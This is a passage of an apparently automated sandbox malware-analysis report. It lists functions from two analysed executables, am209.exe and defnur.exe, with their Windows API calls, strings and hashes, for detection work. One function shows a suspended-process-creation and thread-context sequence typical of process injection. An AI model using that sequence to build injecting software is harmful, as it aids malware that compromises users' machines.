Instruction Fuzzy Hash: C9F0AC36544165BFCF221F95DC08A993F66FF183A5F144014FE1CD5661EB3299A09B90

Function 00149A8A Relevance: 6.0, APIs: 4, Instructions: 25COMMON

Download Yara Rule

APIs

SleepConditionVariableCS.KERNEL32(?,00149A27,00000064,?,?,?,00122E1C,0018CDC4), ref: 00149AAD
LeaveCriticalSection.KERNEL32(00188FA8,00122E1C,?,00149A27,00000064,?,?,?,00122E1C,0018CDC4), ref: 00149AB7
WaitForSingleObjectEx.KERNEL32(00122E1C,00000000,?,00149A27,00000064,?,?,?,00122E1C,0018CDC4), ref: 00149AC8
EnterCriticalSection.KERNEL32(00188FA8,?,00149A27,00000064,?,?,?,00122E1C,0018CDC4), ref: 00149ACF

Memory Dump Source

Source File: 0000000A.00000002.1963643634.0000000000121000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00120000, based on PE: true

Associated: 0000000A.00000002.1963154790.0000000000120000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.1963997307.0000000000171000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.1964034127.0000000000186000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.1964084379.000000000018D000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_120000_am209.jbxd

Similarity

API ID: CriticalSection$ConditionEnterLeaveObjectSingleSleepVariableWait
String ID:
API String ID: 3269011525-0
Opcode ID: b08c8468b454fc7a5f418f50f27e4875095f62b236ed22d720481fb2609d2d04
Instruction ID: a9f5e614063769e9d88c9ef028171a601e885d070c3d6f5eab273fdf2dc8b05d
Opcode Fuzzy Hash: b08c8468b454fc7a5f418f50f27e4875095f62b236ed22d720481fb2609d2d04
Instruction Fuzzy Hash: 41E01235581124BBCB112B54FC0998D7F2BEF14776B904011FB0D66974CF611A908BD4

Function 00154629 Relevance: 6.0, APIs: 4, Instructions: 19COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 00154632

Part of subcall function 001580D6: HeapFree.KERNEL32(00000000,00000000,?,0016107C,?,00000000,?,?,?,0016131F,?,00000007,?,?,001617C4,?), ref: 001580EC
Part of subcall function 001580D6: GetLastError.KERNEL32(?,?,0016107C,?,00000000,?,?,?,0016131F,?,00000007,?,?,001617C4,?,?), ref: 001580FE

_free.LIBCMT ref: 00154645
_free.LIBCMT ref: 00154656
_free.LIBCMT ref: 00154667

Memory Dump Source

Source File: 0000000A.00000002.1963643634.0000000000121000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00120000, based on PE: true

Associated: 0000000A.00000002.1963154790.0000000000120000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.1963997307.0000000000171000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.1964034127.0000000000186000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.1964084379.000000000018D000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_120000_am209.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: efbd0b4c8b5d81337bc0528d2f51f162ef561c682162df39af08c61836118916
Instruction ID: 13f7fc0ba7918be4753c0400c20eb3b75eacfa513fb3a9e2f53a023c6e91f4eb
Opcode Fuzzy Hash: efbd0b4c8b5d81337bc0528d2f51f162ef561c682162df39af08c61836118916
Instruction Fuzzy Hash: 26E0B6B5C12130DA8B226F15BC024EA7B21B758755369400AF8283AA71EB3A47DA9FC5

Function 0015338D Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 194COMMON

Download Yara Rule

APIs

__startOneArgErrorHandling.LIBCMT ref: 0015341D

Strings

pow, xrefs: 001533F5, 00153412

Memory Dump Source

Source File: 0000000A.00000002.1963643634.0000000000121000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00120000, based on PE: true

Associated: 0000000A.00000002.1963154790.0000000000120000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.1963997307.0000000000171000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.1964034127.0000000000186000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.1964084379.000000000018D000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_120000_am209.jbxd

Similarity

API ID: ErrorHandling__start
String ID: pow
API String ID: 3213639722-2276729525
Opcode ID: 265f63bc6e027ad9a340ba208bb7d8a87751d5e4e95d4f6838f938263e8073d1
Instruction ID: 1d6f95ea1143b43f61cdee88bd4fca843ee9219e442936ecd0a1a4ee09fdec6a
Opcode Fuzzy Hash: 265f63bc6e027ad9a340ba208bb7d8a87751d5e4e95d4f6838f938263e8073d1
Instruction Fuzzy Hash: FC516960E08501D6CB1A7B14C94136A6BE0AB50793F204D58FCF58F2E8EB758FDD9A42

Function 00153A92 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 123COMMON

Download Yara Rule

Strings

C:\Users\user\AppData\Local\Temp\1004899001\am209.exe, xrefs: 00153AD5, 00153ADC, 00153B12

Memory Dump Source

Source File: 0000000A.00000002.1963643634.0000000000121000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00120000, based on PE: true

Associated: 0000000A.00000002.1963154790.0000000000120000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.1963997307.0000000000171000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.1964034127.0000000000186000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.1964084379.000000000018D000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_120000_am209.jbxd

Similarity

API ID:
String ID: C:\Users\user\AppData\Local\Temp\1004899001\am209.exe
API String ID: 0-2442224498
Opcode ID: e87fa1b71df2969551f5dcf01e4e2cc1c13de681c12206b149a88daf4600d927
Instruction ID: c908fdf84ee243c609f367249f9830da1946bfbd352d88a53112e14f84763fef
Opcode Fuzzy Hash: e87fa1b71df2969551f5dcf01e4e2cc1c13de681c12206b149a88daf4600d927
Instruction Fuzzy Hash: E3419571A00218EFCB269F99DC819AEBBB8EB94351B240066FC34DF251D7709F49C790

Function 0014CFEC Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 112COMMONLIBRARYCODE

Download Yara Rule

APIs

EncodePointer.KERNEL32(00000000,?,00000000,1FFFFFFF), ref: 0014D011

Strings

MOC, xrefs: 0014D023
RCC, xrefs: 0014D02B

Memory Dump Source

Source File: 0000000A.00000002.1963643634.0000000000121000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00120000, based on PE: true

Associated: 0000000A.00000002.1963154790.0000000000120000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.1963997307.0000000000171000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.1964034127.0000000000186000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.1964084379.000000000018D000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_120000_am209.jbxd

Similarity

API ID: EncodePointer
String ID: MOC$RCC
API String ID: 2118026453-2084237596
Opcode ID: 946839d198bdf7f3d068ff8ce8316e9865754a2b0179a27d5a6eaef0eba99448
Instruction ID: 33ed89095f772e62723d2a714c6cdd49d7904a32dbf8c6b352c6e322dcc17adb
Opcode Fuzzy Hash: 946839d198bdf7f3d068ff8ce8316e9865754a2b0179a27d5a6eaef0eba99448
Instruction Fuzzy Hash: D2414972900209AFCF16DF98DD82AEEBBB5FF48304F198099FA04A7261D3359951DB51

Function 00147D3A Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 73COMMONLIBRARYCODE

Download Yara Rule

APIs

__alloca_probe_16.LIBCMT ref: 00147DC2
RaiseException.KERNEL32(?,?,?,?), ref: 00147DE7

Part of subcall function 0014AF76: RaiseException.KERNEL32(E06D7363,00000001,00000003,001839C4,?,?,?,001839C4), ref: 0014AFD6

Part of subcall function 0014DE94: IsProcessorFeaturePresent.KERNEL32(00000017,00156DAC,?,?,0014E157,?,?,?,?,0014EFF2,?), ref: 0014DEB0

Strings

csm, xrefs: 00147D76

Memory Dump Source

Source File: 0000000A.00000002.1963643634.0000000000121000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00120000, based on PE: true

Associated: 0000000A.00000002.1963154790.0000000000120000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.1963997307.0000000000171000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.1964034127.0000000000186000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.1964084379.000000000018D000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_120000_am209.jbxd

Similarity

API ID: ExceptionRaise$FeaturePresentProcessor__alloca_probe_16
String ID: csm
API String ID: 1924019822-1018135373
Opcode ID: 43ecfda2c320682e002d70d648d982af6c3c7154eda4b189abfd15ccf51bb26a
Instruction ID: cff3a31b3fdf3a3e6c1b6eeb28261d8359638980bae745790d1e076d0c2f4896
Opcode Fuzzy Hash: 43ecfda2c320682e002d70d648d982af6c3c7154eda4b189abfd15ccf51bb26a
Instruction Fuzzy Hash: 80214F31D14218AFCF34EFE8D945AAEB7B9EF54710F540419E405AB6B0DB30AD45CB81

Function 001244C0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 65COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 001244EB
std::_Locinfo::_Locinfo_ctor.LIBCPMT ref: 0012453A

Part of subcall function 0014886E: _Yarn.LIBCPMT ref: 0014888D
Part of subcall function 0014886E: _Yarn.LIBCPMT ref: 001488B1

Strings

bad locale name, xrefs: 00124556

Memory Dump Source

Source File: 0000000A.00000002.1963643634.0000000000121000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00120000, based on PE: true

Associated: 0000000A.00000002.1963154790.0000000000120000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.1963997307.0000000000171000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.1964034127.0000000000186000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.1964084379.000000000018D000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_120000_am209.jbxd

Similarity

API ID: Yarnstd::_$Locinfo::_Locinfo_ctorLockitLockit::_
String ID: bad locale name
API String ID: 1908188788-1405518554
Opcode ID: 25824412fde8ece288ad5b7c4af7d731be341332c089252bb98b5d092ddb15e0
Instruction ID: 0ebd020e46663a3f71d71e80866f993dd53d78cf40ef1d7c4e4503074e4fe963
Opcode Fuzzy Hash: 25824412fde8ece288ad5b7c4af7d731be341332c089252bb98b5d092ddb15e0
Instruction Fuzzy Hash: 7011A071904B849FD320CF69C90574BBBF4EF19710F008A5EE899C7B81E7B5AA04CB95

Analysis Process: defnur.exePID: 3276, Parent PID: 4248COMMON

Executed Functions

Function 0078B4C0 Relevance: 24.8, APIs: 16, Instructions: 839
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 0000000B.00000002.1964112498.0000000000781000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00780000, based on PE: true

Associated: 0000000B.00000002.1964086831.0000000000780000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.1964167107.00000000007D1000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.1964858827.00000000007E6000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.1964990573.00000000007ED000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_780000_defnur.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bce04bf2376bca8c9cad2f92024d2f463ef68ae49a360a77efa6ad3399115caf
Instruction ID: 4c0ad1f9101ab4cedf502619961a515c3abb80893edda3d709dd61edd283fe65
Opcode Fuzzy Hash: bce04bf2376bca8c9cad2f92024d2f463ef68ae49a360a77efa6ad3399115caf
Instruction Fuzzy Hash: B162C370A40248DBEF14EFA8C9497DDBBB1EF46324F648259E410773C2D7795A84CBA2

Function 007ADD80 Relevance: 4.5, APIs: 3, Instructions: 20
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32(?,?,007ADD7F,?,?,?,?,?,007AEFF2), ref: 007ADDA2
TerminateProcess.KERNEL32(00000000,?,007ADD7F,?,?,?,?,?,007AEFF2), ref: 007ADDA9
ExitProcess.KERNEL32 ref: 007ADDBB

Memory Dump Source

Source File: 0000000B.00000002.1964112498.0000000000781000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00780000, based on PE: true

Associated: 0000000B.00000002.1964086831.0000000000780000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.1964167107.00000000007D1000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.1964858827.00000000007E6000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.1964990573.00000000007ED000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_780000_defnur.jbxd

Similarity

API ID: Process$CurrentExitTerminate
String ID:
API String ID: 1703294689-0
Opcode ID: 8c0856b97982218847598f5bd4e49eea85c1c1242b7dada39dca988d2680c9c4
Instruction ID: 00a53d4ae800cac5d64f0d94949e00bddc6b1c6f524cc7f39554366a55a6a29d
Opcode Fuzzy Hash: 8c0856b97982218847598f5bd4e49eea85c1c1242b7dada39dca988d2680c9c4
Instruction Fuzzy Hash: C6E0B631212108AFCF617B68DC0DA883B79FB91341B448526F906C6631CB3EED92DA94

Function 007B85A5 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 77
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

ext-ms-, xrefs: 007B8610
api-ms-, xrefs: 007B85FC

Memory Dump Source

Source File: 0000000B.00000002.1964112498.0000000000781000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00780000, based on PE: true

Associated: 0000000B.00000002.1964086831.0000000000780000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.1964167107.00000000007D1000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.1964858827.00000000007E6000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.1964990573.00000000007ED000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_780000_defnur.jbxd

Similarity

API ID:
String ID: api-ms-$ext-ms-
API String ID: 0-537541572
Opcode ID: afceba1a713db075cbf51b1a1e6b7139a1746357cc27f83a26ff69183803afd4
Instruction ID: 5c59343bca1596e3cca01c24ac4daf33648d7bb43ea0d9cefc47c14cb55d00f2
Opcode Fuzzy Hash: afceba1a713db075cbf51b1a1e6b7139a1746357cc27f83a26ff69183803afd4
Instruction Fuzzy Hash: E221D871A02224BBDB714A389C44BDA376C9F05764F140611ED15E7292DF3CEC00C6D2

Function 007B866C Relevance: 1.6, APIs: 1, Instructions: 57
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 0000000B.00000002.1964112498.0000000000781000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00780000, based on PE: true

Associated: 0000000B.00000002.1964086831.0000000000780000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.1964167107.00000000007D1000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.1964858827.00000000007E6000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.1964990573.00000000007ED000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_780000_defnur.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d6f2e73034bc24697187a47bdf978e541e05e4b737ed34959d3e1e8464430866
Instruction ID: 0f94ad09bf0b2c158867ad2c50e8eaa08fc10e106579deb8deb73171a84b7fbb
Opcode Fuzzy Hash: d6f2e73034bc24697187a47bdf978e541e05e4b737ed34959d3e1e8464430866
Instruction Fuzzy Hash: 0F01F533200215DFDB168E69EC80B9A37DAABC83647148121F900DF186DE39D811D755

Non-executed Functions

Function 00787EB0 Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 184
processmemorythreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 007B1D13: GetSystemTimeAsFileTime.KERNEL32(00000000,?,?,?,00787EE2,00000000,E072DD58), ref: 007B1D26
Part of subcall function 007B1D13: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 007B1D57

GetModuleFileNameA.KERNEL32(00000000,?,00000104), ref: 0078809D
CreateProcessA.KERNEL32(?,00000000,00000000,00000000,00000000,00000004,00000000,00000000,?,?), ref: 007880FB
VirtualAlloc.KERNEL32(00000000,00000004,00001000,00000004), ref: 00788114
GetThreadContext.KERNEL32(?,00000000), ref: 00788129
ReadProcessMemory.KERNEL32(?, ,?,00000004,00000000), ref: 00788149

Strings

VUUU, xrefs: 00787F01
, xrefs: 00788140
invalid stoi argument, xrefs: 00788057

Memory Dump Source

Source File: 0000000B.00000002.1964112498.0000000000781000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00780000, based on PE: true

Associated: 0000000B.00000002.1964086831.0000000000780000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.1964167107.00000000007D1000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.1964858827.00000000007E6000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.1964990573.00000000007ED000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_780000_defnur.jbxd

Similarity

API ID: FileProcessTime$AllocContextCreateMemoryModuleNameReadSystemThreadUnothrow_t@std@@@Virtual__ehfuncinfo$??2@
String ID: $VUUU$invalid stoi argument
API String ID: 3815659930-3954507777
Opcode ID: 726cd1c3df14ee5180de94fb47aa1e0a930c18c711315a91ead1c3b43937c601
Instruction ID: 60fae40144b741ed142ca362ddca77eb41bb95b20fa8aac7683c5866abc17650
Opcode Fuzzy Hash: 726cd1c3df14ee5180de94fb47aa1e0a930c18c711315a91ead1c3b43937c601
Instruction Fuzzy Hash: 8751A471644305FFD750AB64DC0AF5A7BF8FF88700F504519F644EA2D0DBB8A9048B9A

Function 007C2046 Relevance: 12.5, APIs: 5, Strings: 2, Instructions: 251COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 007B6CF0: GetLastError.KERNEL32(?,?,?,007AE157,?,?,?,?,007AEFF2,?), ref: 007B6CF5
Part of subcall function 007B6CF0: SetLastError.KERNEL32(00000000,00000006,000000FF,?,?,007AE157,?,?,?,?,007AEFF2,?), ref: 007B6D93

GetACP.KERNEL32(?,?,?,?,?,?,007B50F7,?,?,?,00000055,?,-00000050,?,?,00000000), ref: 007C2107
IsValidCodePage.KERNEL32(00000000,?,?,?,?,?,?,007B50F7,?,?,?,00000055,?,-00000050,?,?), ref: 007C2132
_wcschr.LIBVCRUNTIME ref: 007C21C6
_wcschr.LIBVCRUNTIME ref: 007C21D4
GetLocaleInfoW.KERNEL32(00000000,?,?,00000078,-00000050,00000000,000000D0), ref: 007C2295

Strings

a}, xrefs: 007C20BD
utf8, xrefs: 007C2204

Memory Dump Source

Source File: 0000000B.00000002.1964112498.0000000000781000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00780000, based on PE: true

Associated: 0000000B.00000002.1964086831.0000000000780000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.1964167107.00000000007D1000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.1964858827.00000000007E6000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.1964990573.00000000007ED000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_780000_defnur.jbxd

Similarity

API ID: ErrorLast_wcschr$CodeInfoLocalePageValid
String ID: utf8$a}
API String ID: 4147378913-1070695868
Opcode ID: d080823bf6bffc32335253f0f7aa77a9138a8be909517e2ec3cf442ac2a6d0e6
Instruction ID: a49faff0c86f87816510870a958c6024c4e55242222a9ae6a77a57e744c6ad5c
Opcode Fuzzy Hash: d080823bf6bffc32335253f0f7aa77a9138a8be909517e2ec3cf442ac2a6d0e6
Instruction Fuzzy Hash: 07711471600205EAE725AB35DC4AFAB73A8FF49710F15402EFA05D7183EA7DE942C761

Function 007C29A7 Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 183COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 007B6CF0: GetLastError.KERNEL32(?,?,?,007AE157,?,?,?,?,007AEFF2,?), ref: 007B6CF5
Part of subcall function 007B6CF0: SetLastError.KERNEL32(00000000,00000006,000000FF,?,?,007AE157,?,?,?,?,007AEFF2,?), ref: 007B6D93

Part of subcall function 007B6CF0: _free.LIBCMT ref: 007B6D52
Part of subcall function 007B6CF0: _free.LIBCMT ref: 007B6D88

GetUserDefaultLCID.KERNEL32(?,?,?,00000055,?), ref: 007C2AB3
IsValidCodePage.KERNEL32(00000000), ref: 007C2AFC
IsValidLocale.KERNEL32(?,00000001), ref: 007C2B0B
GetLocaleInfoW.KERNEL32(?,00001001,-00000050,00000040,?,000000D0,00000055,00000000,?,?,00000055,00000000), ref: 007C2B53
GetLocaleInfoW.KERNEL32(?,00001002,00000030,00000040), ref: 007C2B72

Strings

a}, xrefs: 007C2A60

Memory Dump Source

Source File: 0000000B.00000002.1964112498.0000000000781000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00780000, based on PE: true

Associated: 0000000B.00000002.1964086831.0000000000780000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.1964167107.00000000007D1000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.1964858827.00000000007E6000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.1964990573.00000000007ED000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_780000_defnur.jbxd

Similarity

API ID: Locale$ErrorInfoLastValid_free$CodeDefaultPageUser
String ID: a}
API String ID: 949163717-3059991547
Opcode ID: 24d4b95b75d23d6eb519da5cfdd6ab53bc93ae3a687685d402d14976b32c6f34
Instruction ID: 2f362afc78c5b62d567d02a7877b3aea2c0c13160ca2115f85003aee10052821
Opcode Fuzzy Hash: 24d4b95b75d23d6eb519da5cfdd6ab53bc93ae3a687685d402d14976b32c6f34
Instruction Fuzzy Hash: E4516271A00219EBDB20DFA5CC45FBE77B8EF08700F18846DE900E7292E7799946CB61

Function 007C27D2 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 85COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLocaleInfoW.KERNEL32(00000000,2000000B,007C2AF0,00000002,00000000,?,?,?,007C2AF0,?,00000000), ref: 007C286B
GetLocaleInfoW.KERNEL32(00000000,20001004,007C2AF0,00000002,00000000,?,?,?,007C2AF0,?,00000000), ref: 007C2894
GetACP.KERNEL32(?,?,007C2AF0,?,00000000), ref: 007C28A9

Strings

ACP, xrefs: 007C27F0
OCP, xrefs: 007C2826

Memory Dump Source

Source File: 0000000B.00000002.1964112498.0000000000781000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00780000, based on PE: true

Associated: 0000000B.00000002.1964086831.0000000000780000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.1964167107.00000000007D1000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.1964858827.00000000007E6000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.1964990573.00000000007ED000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_780000_defnur.jbxd

Similarity

API ID: InfoLocale
String ID: ACP$OCP
API String ID: 2299586839-711371036
Opcode ID: 82550a7d3db53d34c5fa28eedd620244d6e7be8ab754c0bb7eb522e5cc268537
Instruction ID: 394f34ef0fa3a948a79c94a1a5e4e6d4cb4c975dcb6b2fd42221f2f0a6283cb6
Opcode Fuzzy Hash: 82550a7d3db53d34c5fa28eedd620244d6e7be8ab754c0bb7eb522e5cc268537
Instruction Fuzzy Hash: A321B032B00101EAEB348B54C904F9773E6AF50B54B96807DE90AD7206EB3ADD42C390

Function 007AA3C5 Relevance: 6.1, APIs: 4, Instructions: 73COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(00000017), ref: 007AA3D1
IsDebuggerPresent.KERNEL32 ref: 007AA49D
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 007AA4BD
UnhandledExceptionFilter.KERNEL32(?), ref: 007AA4C7

Memory Dump Source

Source File: 0000000B.00000002.1964112498.0000000000781000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00780000, based on PE: true

Associated: 0000000B.00000002.1964086831.0000000000780000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.1964167107.00000000007D1000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.1964858827.00000000007E6000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.1964990573.00000000007ED000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_780000_defnur.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandled$DebuggerFeatureProcessor
String ID:
API String ID: 254469556-0
Opcode ID: c50c2682a04172883f459e9535ed02a2095451cd0996b84e51b964971ec32f5c
Instruction ID: b1ff63ea83483c3beeccd757e39b81dc584b3a8180e588da19d820ab96380e73
Opcode Fuzzy Hash: c50c2682a04172883f459e9535ed02a2095451cd0996b84e51b964971ec32f5c
Instruction Fuzzy Hash: 87310775D0221CEBDB10DFA4D9897CDBBF8BF09300F1041AAE409AB250EB759A84CF45

Function 00788280 Relevance: 30.0, APIs: 16, Strings: 1, Instructions: 257
pipeprocessfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTempPathA.KERNEL32(00000080,?), ref: 0078832D
CreatePipe.KERNEL32(00000000,00000000,0000000C,00000000), ref: 00788403
SetHandleInformation.KERNEL32(00000000,00000001,00000000), ref: 00788415
Wow64DisableWow64FsRedirection.KERNEL32(?), ref: 00788459
CreateProcessA.KERNEL32(00000000,00000000,00000000,00000000,00000001,00000000,00000000,?,00000044,?), ref: 00788481
Wow64RevertWow64FsRedirection.KERNEL32(00000000), ref: 0078848F
WaitForSingleObject.KERNEL32(?,00000064), ref: 007884B8
PeekNamedPipe.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000), ref: 007884DA
PeekNamedPipe.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000), ref: 007884FE
ReadFile.KERNEL32(00000000,?,0000007F,00000000,00000000), ref: 00788525
PeekNamedPipe.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000), ref: 0078856A
CloseHandle.KERNEL32(?), ref: 00788581
CloseHandle.KERNEL32(?), ref: 00788589
CloseHandle.KERNEL32(00000000), ref: 00788591
CloseHandle.KERNEL32(00000000), ref: 00788599
GetLastError.KERNEL32 ref: 007885A3

Strings

D, xrefs: 007883BC

Memory Dump Source

Source File: 0000000B.00000002.1964112498.0000000000781000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00780000, based on PE: true

Associated: 0000000B.00000002.1964086831.0000000000780000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.1964167107.00000000007D1000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.1964858827.00000000007E6000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.1964990573.00000000007ED000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_780000_defnur.jbxd

Similarity

API ID: Handle$ClosePipeWow64$NamedPeek$CreateRedirection$DisableErrorFileInformationLastObjectPathProcessReadRevertSingleTempWait
String ID: D
API String ID: 3215130363-2746444292
Opcode ID: c054ab1698b553e62c3497a5f1f497cdba777752d791efc93c4034b7d21a739f
Instruction ID: 84f0c713b8a06ec9d97172e645006f401908d00d69886408ccf5d461bae71083
Opcode Fuzzy Hash: c054ab1698b553e62c3497a5f1f497cdba777752d791efc93c4034b7d21a739f
Instruction Fuzzy Hash: 36A1A171D41218ABEB60EF60CC49FDDB7B8AF45700F5041D6E608B6181DB79AE84CF95

Function 007B2983 Relevance: 28.4, APIs: 15, Strings: 1, Instructions: 357
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_free.LIBCMT ref: 007B29F2
_free.LIBCMT ref: 007B2A08
_free.LIBCMT ref: 007B2A1B
